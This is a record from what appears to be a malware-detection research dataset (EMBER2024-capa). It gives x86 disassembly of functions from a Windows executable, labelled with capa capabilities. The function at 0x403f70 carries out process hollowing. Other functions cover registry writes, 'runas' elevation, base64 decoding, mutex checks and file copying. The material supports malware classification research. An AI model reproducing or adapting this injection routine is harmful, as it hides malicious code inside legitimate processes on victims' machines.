joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4029e0
Capabilities:
Decode data using base64 via dword translation table

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov ebx, dword [eax]
mov edi, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 0x18], edi
test ebx, ebx
jne 0x402a1a
push ebx
push 0x43b4fb
mov dword [edi + 0x10], ebx
mov dword [edi + 0x14], 0xf
mov byte [edi], bl
call fcn.00414b30
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, ebx
xor esi, esi
and eax, 3
jne 0x402a31
cmp byte [ebx + edx - 1], 0x3d
je 0x402a31
xor ecx, ecx
mov dword [ebp + 8], ecx
jmp 0x402a4b
mov ecx, 1
mov dword [ebp + 8], ecx
cmp eax, 2
ja 0x402a49
cmp byte [ebx + edx - 2], 0x3d
jne 0x402a49
xor eax, eax
jmp 0x402a4b
mov eax, ecx
sub ebx, ecx
mov dword [ebp - 0x10], eax
and ebx, 0xfffffffc
mov ecx, ebx
mov dword [ebp - 0x1c], ebx
shr ecx, 2
push 0
lea eax, [eax + ecx*2]
add eax, ecx
lea ecx, [ebp - 0x34]
add eax, dword [ebp + 8]
push eax
call fcn.00414690
cmp dword [ebp - 0x20], 0x10
lea eax, [ebp - 0x34]
cmovae eax, dword [ebp - 0x34]
mov dword [ebp - 0xc], eax
test ebx, ebx
je 0x402afb
mov edx, dword [ebp - 8]
lea eax, [ebx - 1]
mov ebx, dword [ebp - 0xc]
add edx, 2
shr eax, 2
inc eax
mov dword [ebp - 0x14], eax
mov edi, eax
nop word [eax + eax]
movzx eax, byte [edx - 2]
lea edx, [edx + 4]
mov ecx, dword [eax*4 + 0x43c180]
movzx eax, byte [edx - 5]
shl ecx, 6
or ecx, dword [eax*4 + 0x43c180]
movzx eax, byte [edx - 4]
shl ecx, 6
or ecx, dword [eax*4 + 0x43c180]
movzx eax, byte [edx - 3]
shl ecx, 6
or ecx, dword [eax*4 + 0x43c180]
mov eax, ecx
sar eax, 0x10
mov byte [ebx + esi], al
mov eax, ecx
sar eax, 8
mov byte [ebx + esi + 1], al
mov byte [ebx + esi + 2], cl
add esi, 3
sub edi, 1
jne 0x402aa0
mov edi, dword [ebp - 0x18]
mov ebx, dword [ebp - 0x1c]
cmp dword [ebp + 8], 0
je 0x402b4a
add ebx, dword [ebp - 8]
movzx eax, byte [ebx]
movzx ecx, byte [ebx + 1]
mov edx, dword [eax*4 + 0x43c180]
shl edx, 6
or edx, dword [ecx*4 + 0x43c180]
mov ecx, dword [ebp - 0xc]
shl edx, 0xc
mov eax, edx
sar eax, 0x10
cmp dword [ebp - 0x10], 0
mov byte [ecx + esi], al
je 0x402b4a
movzx eax, byte [ebx + 2]
sar edx, 8
mov eax, dword [eax*4 + 0x43c180]
shl eax, 6
sar eax, 8
or al, dl
mov byte [ecx + esi + 1], al
movups xmm0, xmmword [ebp - 0x34]
mov eax, edi
movups xmmword [edi], xmm0
movq xmm0, qword [ebp - 0x24]
movq qword [edi + 0x10], xmm0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4030c0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
push esi
push edi
push 0x400
lea eax, [ebp - 0x408]
mov esi, edx
push 0
push eax
mov edi, ecx
call fcn.00417a00
add esp, 0xc
mov dword [ebp - 8], 0x400
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp - 4]
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
push ecx
push 1
push 0
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40312f
cmp dword [ebp + 0x34], 0x10
lea ecx, [ebp - 8]
push ecx
lea ecx, [ebp - 0x408]
push ecx
push 0
lea eax, [ebp + 0x20]
cmovae eax, dword [ebp + 0x20]
push 0
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x408]
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
lea edx, [ecx + 1]
mov byte [edi], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x403152
sub ecx, edx
lea eax, [ebp - 0x408]
push ecx
push eax
mov ecx, edi
call fcn.00414b30
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x40319a
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x403190
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4031e4
push edx
push ecx
call fcn.00415fcc
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x4031dc
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4031d2
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4031e4
push edx
push ecx
call fcn.00415fcc
add esp, 8
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
call fcn.0041bb2d
int3
Function at 0x4031f0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp - 4]
push ecx
push 0xf003f
lea eax, [ebp + 8]
mov dword [ebp - 4], 0x80000001
cmovae eax, dword [ebp + 8]
push 0
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40324d
cmp dword [ebp + 0x4c], 0x10
lea edx, [ebp + 0x38]
mov eax, dword [ebp + 0x48]
lea ecx, [ebp + 0x20]
cmovae edx, dword [ebp + 0x38]
cmp dword [ebp + 0x34], 0x10
cmovae ecx, dword [ebp + 0x20]
inc eax
push eax
push edx
push 2
push 0
push ecx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x40328a
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x403280
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403312
push edx
push ecx
call fcn.00415fcc
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x4032cc
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4032c2
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403312
push edx
push ecx
call fcn.00415fcc
add esp, 8
mov edx, dword [ebp + 0x4c]
mov dword [ebp + 0x30], 0
mov dword [ebp + 0x34], 0xf
mov byte [ebp + 0x20], 0
cmp edx, 0x10
jb 0x40330e
mov ecx, dword [ebp + 0x38]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x403304
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403312
push edx
push ecx
call fcn.00415fcc
add esp, 8
mov esp, ebp
pop ebp
ret
call fcn.0041bb2d
int3
Function at 0x403f70
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x174
lea eax, [ebp - 0x170]
push ebx
push esi
push edi
push 0x104
push eax
push 0
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x404111
mov edi, dword [esi + 0x3c]
add edi, esi
cmp dword [edi], 0x4550
jne 0x404111
push 0x44
lea eax, [ebp - 0x68]
push 0
push eax
call fcn.00417a00
add esp, 0xc
lea eax, [ebp - 0x1c]
xorps xmm0, xmm0
movups xmmword [ebp - 0x1c], xmm0
push eax
lea eax, [ebp - 0x68]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x170]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x404111
push 4
push 0x1000
push 4
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
push ebx
mov dword [ebp - 0x20], ebx
mov dword [ebx], 0x10007
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x404111
push 0
push 4
lea eax, [ebp - 4]
push eax
push 0x43c0d4
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [edi + 0x34]
cmp dword [ebp - 4], eax
jne 0x404061
push str.NtUnmapViewOfSection
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [ebp - 4]
push dword [ebp - 0x1c]
call eax
mov eax, dword [edi + 0x34]
push 0x40
push 0x3000
push dword [edi + 0x50]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0xc], eax
test eax, eax
je 0x404111
push 0
push dword [edi + 0x54]
push esi
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor eax, eax
cmp ax, word [edi + 6]
jae 0x4040d7
mov ecx, 0xa0
xor ebx, ebx
mov dword [ebp - 8], ecx
add ecx, esi
add ecx, dword [esi + 0x3c]
push 0
push dword [ecx + 0x68]
mov eax, dword [ecx + 0x6c]
add eax, esi
push eax
mov eax, dword [ecx + 0x64]
add eax, dword [ebp - 0xc]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [ebp - 8]
inc ebx
movzx eax, word [edi + 6]
add ecx, 0x28
mov dword [ebp - 8], ecx
cmp ebx, eax
jl 0x4040a2
mov ebx, dword [ebp - 0x20]
push 0
push 4
lea eax, [edi + 0x34]
push eax
mov eax, dword [ebx + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [edi + 0x28]
add eax, dword [ebp - 0xc]
push ebx
mov dword [ebx + 0xb0], eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x404130
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
cmp dword [ebp + 0x18], 1
jne 0x40414d
cmp byte [eax], 0x31
jne 0x40414d
mov cl, 1
jmp 0x40414f
xor cl, cl
xor edx, edx
mov eax, 5
test cl, cl
lea ecx, [ebp + 8]
push esi
cmove eax, edx
mov edx, str.runas
push eax
mov eax, 0x43b4fb
cmovne eax, edx
push eax
call fcn.00414b30
cmp dword [ebp + 0x4c], 0x10
lea edx, [ebp + 0x38]
push 0
cmovae edx, dword [ebp + 0x38]
lea ecx, [ebp + 0x20]
cmp dword [ebp + 0x34], 0x10
lea eax, [ebp + 8]
push 0
cmovae ecx, dword [ebp + 0x20]
cmp dword [ebp + 0x1c], 0x10
push edx
cmovae eax, dword [ebp + 8]
push ecx
push eax
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov edx, dword [ebp + 0x1c]
mov esi, eax
mov dword [0x441750], esi
cmp edx, 0x10
jb 0x4041df
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4041d5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404268
push edx
push ecx
call fcn.00415fcc
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x404221
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x404217
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404268
push edx
push ecx
call fcn.00415fcc
add esp, 8
mov edx, dword [ebp + 0x4c]
mov dword [ebp + 0x30], 0
mov dword [ebp + 0x34], 0xf
mov byte [ebp + 0x20], 0
cmp edx, 0x10
jb 0x404263
mov ecx, dword [ebp + 0x38]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x404259
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404268
push edx
push ecx
call fcn.00415fcc
add esp, 8
mov eax, esi
pop esi
pop ebp
ret
call fcn.0041bb2d
int3
Function at 0x404390
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x64
mov dword [0x441648], 0
call esi
mov eax, dword fs:[0x2c]
mov ecx, dword [eax]
mov eax, dword [0x4417a8]
cmp eax, dword [ecx + 4]
jle 0x40443b
push 0x4417a8
call fcn.00415c75
add esp, 4
cmp dword [0x4417a8], 0xffffffff
jne 0x40443b
push 0x42f1e0
mov dword [0x441770], 0
mov dword [0x441774], 0xf
mov byte [0x441760], 0
mov dword [0x441788], 0
mov dword [0x44178c], 0xf
mov byte [0x441778], 0
mov dword [0x4417a0], 0
mov dword [0x4417a4], 0xf
mov byte [0x441790], 0
call fcn.00415fb7
push 0x4417a8
call fcn.00415c2b
add esp, 8
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push dword [ebp + 0x18]
cmovae eax, dword [ebp + 8]
mov ecx, 0x441760
push eax
call fcn.00414b30
cmp dword [ebp + 0x34], 0x10
lea eax, [ebp + 0x20]
push dword [ebp + 0x30]
cmovae eax, dword [ebp + 0x20]
mov ecx, 0x441778
push eax
call fcn.00414b30
cmp dword [ebp + 0x4c], 0x10
lea eax, [ebp + 0x38]
push dword [ebp + 0x48]
cmovae eax, dword [ebp + 0x38]
mov ecx, 0x441790
push eax
call fcn.00414b30
push 0
push 0
push 0x441760
push 0x404270
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x1f4
call esi
mov edx, dword [ebp + 0x1c]
mov esi, dword [0x441648]
cmp edx, 0x10
jb 0x4044df
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4044d5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404568
push edx
push ecx
call fcn.00415fcc
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x404521
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x404517
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404568
push edx
push ecx
call fcn.00415fcc
add esp, 8
mov edx, dword [ebp + 0x4c]
mov dword [ebp + 0x30], 0
mov dword [ebp + 0x34], 0xf
mov byte [ebp + 0x20], 0
cmp edx, 0x10
jb 0x404563
mov ecx, dword [ebp + 0x38]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x404559
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404568
push edx
push ecx
call fcn.00415fcc
add esp, 8
mov eax, esi
pop esi
pop ebp
ret
call fcn.0041bb2d
int3
Function at 0x404fc0
Capabilities:
Check os version
Get system information on windows

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x18c
push esi
push 0x118
xorps xmm0, xmm0
mov dword [ebp - 0x40], 0
lea eax, [ebp - 0x17c]
movaps xmmword [ebp - 0x60], xmm0
push 0
push eax
movaps xmmword [ebp - 0x50], xmm0
call fcn.00417a00
add esp, 0xc
mov dword [ebp - 0x180], 0x11c
lea eax, [ebp - 0x180]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
jne 0x40502d
mov eax, 0x64
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
sub esp, 0x18
mov ecx, esp
push 0x440490
call fcn.004147b0
lea ecx, [ebp - 0x30]
call fcn.00402fb0
mov esi, eax
add esp, 0x18
cmp dword [esi + 0x14], 0x10
jb 0x405051
mov esi, dword [esi]
sub esp, 0x18
mov ecx, esp
push 0x43fdd0
call fcn.004147b0
lea ecx, [ebp - 0x18]
call fcn.00402fb0
add esp, 0x18
cmp dword [eax + 0x14], 0x10
jb 0x405073
mov eax, dword [eax]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [ebp - 4]
mov esi, eax
cmp edx, 0x10
jb 0x4050b8
mov ecx, dword [ebp - 0x18]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4050ae
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40514d
push edx
push ecx
call fcn.00415fcc
add esp, 8
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0xf
mov byte [ebp - 0x18], 0
cmp edx, 0x10
jb 0x4050fa
mov ecx, dword [ebp - 0x30]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4050f0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40514d
push edx
push ecx
call fcn.00415fcc
add esp, 8
mov dword [ebp - 0x20], 0
lea eax, [ebp - 0x60]
mov dword [ebp - 0x1c], 0xf
mov byte [ebp - 0x30], 0
push eax
test esi, esi
je 0x405118
call esi
jmp 0x40511e
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [ebp - 0x17c], 6
jb 0x405145
mov ax, word [ebp - 0x60]
cmp ax, 9
jne 0x40513e
mov eax, 1
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
test ax, ax
jne 0x405145
xor eax, eax
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.0041bb2d
int3

Function at 0x405190
Capabilities:
Check if file exists
Get file attributes

Disassembly:
cmp dword [ecx + 0x14], 0x10
jb 0x405198
mov ecx, dword [ecx]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x4051ab
test al, 0x10
je 0x4051ab
mov al, 1
ret
xor al, al
ret
Function at 0x405680
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x154
push esi
lea eax, [ebp - 0x150]
mov esi, ecx
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea edx, [ebp - 0x150]
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0xf
lea ecx, [edx + 1]
mov byte [ebp - 0x30], 0
nop dword [eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x4056c0
sub edx, ecx
lea eax, [ebp - 0x150]
push edx
push eax
lea ecx, [ebp - 0x30]
call fcn.00414b30
mov ecx, 3
mov dword [ebp - 8], 0
cmp dword [ebp - 0x20], ecx
lea eax, [ebp - 0x30]
mov dword [ebp - 4], 0xf
cmovb ecx, dword [ebp - 0x20]
cmp dword [ebp - 0x1c], 0x10
push ecx
cmovae eax, dword [ebp - 0x30]
lea ecx, [ebp - 0x18]
push eax
mov byte [ebp - 0x18], 0
call fcn.00414b30
sub esp, 0x18
mov ecx, esp
push 0x43fd40
call fcn.004147b0
lea ecx, [ebp - 0x48]
call fcn.00402fb0
push eax
lea edx, [ebp - 0x18]
mov ecx, esi
call fcn.00414c70
mov edx, dword [ebp - 4]
add esp, 0x1c
cmp edx, 0x10
jb 0x405765
mov ecx, dword [ebp - 0x18]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40575b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4057de
push edx
push ecx
call fcn.00415fcc
add esp, 8
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0xf
mov byte [ebp - 0x18], 0
cmp edx, 0x10
jb 0x4057a7
mov ecx, dword [ebp - 0x30]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40579d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4057de
push edx
push ecx
call fcn.00415fcc
add esp, 8
mov edx, dword [ebp - 0x34]
cmp edx, 0x10
jb 0x4057d7
mov ecx, dword [ebp - 0x48]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4057cd
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4057de
push edx
push ecx
call fcn.00415fcc
add esp, 8
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
call fcn.0041bb2d
int3
Function at 0x4057f0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x13c
push esi
lea eax, [ebp - 0x138]
mov esi, ecx
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea ecx, [ebp - 0x138]
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0xf
lea edx, [ecx + 1]
mov byte [ebp - 0x18], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x405830
sub ecx, edx
lea eax, [ebp - 0x138]
push ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.00414b30
sub esp, 0x18
mov ecx, esp
push 0x4402f8
call fcn.004147b0
lea ecx, [ebp - 0x30]
call fcn.00402fb0
push eax
lea edx, [ebp - 0x18]
mov ecx, esi
call fcn.00414c70
mov edx, dword [ebp - 4]
add esp, 0x1c
cmp edx, 0x10
jb 0x40589e
mov ecx, dword [ebp - 0x18]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x405894
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4058e7
push edx
push ecx
call fcn.00415fcc
add esp, 8
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0xf
mov byte [ebp - 0x18], 0
cmp edx, 0x10
jb 0x4058e0
mov ecx, dword [ebp - 0x30]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4058d6
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4058e7
push edx
push ecx
call fcn.00415fcc
add esp, 8
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
call fcn.0041bb2d
int3

Function at 0x4058f0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x13c
push esi
lea eax, [ebp - 0x138]
mov esi, ecx
push eax
push 0
push 0
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea ecx, [ebp - 0x138]
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0xf
lea edx, [ecx + 1]
mov byte [ebp - 0x18], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x405930
sub ecx, edx
lea eax, [ebp - 0x138]
push ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.00414b30
sub esp, 0x18
mov ecx, esp
push 0x4402f8
call fcn.004147b0
lea ecx, [ebp - 0x30]
call fcn.00402fb0
push eax
lea edx, [ebp - 0x18]
mov ecx, esi
call fcn.00414c70
mov edx, dword [ebp - 4]
add esp, 0x1c
cmp edx, 0x10
jb 0x40599e
mov ecx, dword [ebp - 0x18]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x405994
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4059e7
push edx
push ecx
call fcn.00415fcc
add esp, 8
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0xf
mov byte [ebp - 0x18], 0
cmp edx, 0x10
jb 0x4059e0
mov ecx, dword [ebp - 0x30]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4059d6
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4059e7
push edx
push ecx
call fcn.00415fcc
add esp, 8
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
call fcn.0041bb2d
int3
Function at 0x4059f0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x13c
push esi
lea eax, [ebp - 0x138]
mov esi, ecx
push eax
push 0
push 0
push 0x28
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea ecx, [ebp - 0x138]
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0xf
lea edx, [ecx + 1]
mov byte [ebp - 0x18], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x405a30
sub ecx, edx
lea eax, [ebp - 0x138]
push ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.00414b30
sub esp, 0x18
mov ecx, esp
push 0x4402f8
call fcn.004147b0
lea ecx, [ebp - 0x30]
call fcn.00402fb0
push eax
lea edx, [ebp - 0x18]
mov ecx, esi
call fcn.00414c70
mov edx, dword [ebp - 4]
add esp, 0x1c
cmp edx, 0x10
jb 0x405a9e
mov ecx, dword [ebp - 0x18]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x405a94
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405ae7
push edx
push ecx
call fcn.00415fcc
add esp, 8
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0xf
mov byte [ebp - 0x18], 0
cmp edx, 0x10
jb 0x405ae0
mov ecx, dword [ebp - 0x30]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x405ad6
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405ae7
push edx
push ecx
call fcn.00415fcc
add esp, 8
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
call fcn.0041bb2d
int3
Function at 0x407380
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Terminate process

Disassembly:
cmp dword [0x4401ec], 0x10
mov eax, 0x4401d8
cmovae eax, dword [0x4401d8]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x4073ac
ret
push 0
call fcn.00419729
int3
Function at 0x408f40
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0x1c]
sub esp, 0x24
mov ecx, dword [ebp + 0x18]
mov eax, edx
sub eax, ecx
cmp eax, 1
jb 0x408f6d
lea eax, [ecx + 1]
cmp edx, 0x10
mov dword [ebp + 0x18], eax
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
mov word [eax + ecx], 0
jmp 0x408f82
push 0
push 1
mov byte [ebp - 4], 0
lea ecx, [ebp + 8]
push dword [ebp - 4]
push 1
call fcn.00415100
mov edx, dword [ebp + 0x34]
mov eax, edx
mov ecx, dword [ebp + 0x30]
sub eax, ecx
cmp eax, 1
jb 0x408fa9
lea eax, [ecx + 1]
cmp edx, 0x10
mov dword [ebp + 0x30], eax
lea eax, [ebp + 0x20]
cmovae eax, dword [ebp + 0x20]
mov word [eax + ecx], 0
jmp 0x408fbe
push 0
push 1
mov byte [ebp - 4], 0
lea ecx, [ebp + 0x20]
push dword [ebp - 4]
push 1
call fcn.00415100
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push esi
cmovae eax, dword [ebp + 8]
xorps xmm0, xmm0
cmp dword [ebp + 0x34], 0x10
mov dword [ebp - 0x1c], eax
lea eax, [ebp + 0x20]
cmovae eax, dword [ebp + 0x20]
mov dword [ebp - 0x18], eax
mov eax, 0x610
mov word [ebp - 0x14], ax
lea eax, [ebp - 0x24]
push eax
movlpd qword [ebp - 0x12], xmm0
mov dword [ebp - 0xa], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 2
call dword [sym.imp.SHELL32.dll_SHFileOperationA]
